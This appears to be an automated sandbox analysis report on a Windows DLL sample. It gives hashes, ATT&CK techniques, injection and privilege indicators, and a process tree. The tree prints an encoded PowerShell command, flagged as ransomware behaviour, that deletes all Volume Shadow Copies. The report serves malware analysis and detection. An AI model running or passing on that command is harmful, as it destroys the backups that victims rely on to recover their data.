ad0e0396572e30f66fd2fd68ac8e0baf6bcafa362846513bdd310875b9da38ed

Analysis

max time kernel
142s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
21-05-2024 14:54

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General

Target

63b1e1b3282cda04bb536c08581e061c_JaffaCakes118.dll
Size

166KB
MD5

63b1e1b3282cda04bb536c08581e061c
SHA1

7df05722b71329c252ab2f9ce146f74d9fda085b
SHA256

ad0e0396572e30f66fd2fd68ac8e0baf6bcafa362846513bdd310875b9da38ed
SHA512

0fe74760c5d967f1c84365e343eb097307ba9e81ccab56f2e952492ecbf9763aeeafaaee138fd6171650b8a2b55a9e0c94ef5f596d2845d22081cc63aeec0e8f
SSDEEP

3072:MJMawtnGqtWoKeZ9fh1CgnNto6jfHzHYRxNTPlpE:Ww9vteqJggn7oUfHzHYRxNzli

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

904 rundll32.exe
904 rundll32.exe
4596 powershell.exe
4596 powershell.exe

pid	process
904	rundll32.exe
904	rundll32.exe
4596	powershell.exe
4596	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	904	rundll32.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeBackupPrivilege	5556	vssvc.exe
Token: SeRestorePrivilege	5556	vssvc.exe
Token: SeAuditPrivilege	5556	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 3296 wrote to memory of 904	3296	rundll32.exe	rundll32.exe
PID 3296 wrote to memory of 904	3296	rundll32.exe	rundll32.exe
PID 3296 wrote to memory of 904	3296	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 4596	904	rundll32.exe	powershell.exe
PID 904 wrote to memory of 4596	904	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\63b1e1b3282cda04bb536c08581e061c_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\63b1e1b3282cda04bb536c08581e061c_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4596

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5556

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3992 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
1⤵
PID:5820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1viiqfdr.gum.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4596-0-0x00007FFD84573000-0x00007FFD84575000-memory.dmp

Filesize
8KB

Download
memory/4596-10-0x0000021E89370000-0x0000021E89392000-memory.dmp

Filesize
136KB

Download
memory/4596-11-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/4596-12-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/4596-13-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download
memory/4596-16-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

Filesize
10.8MB

Download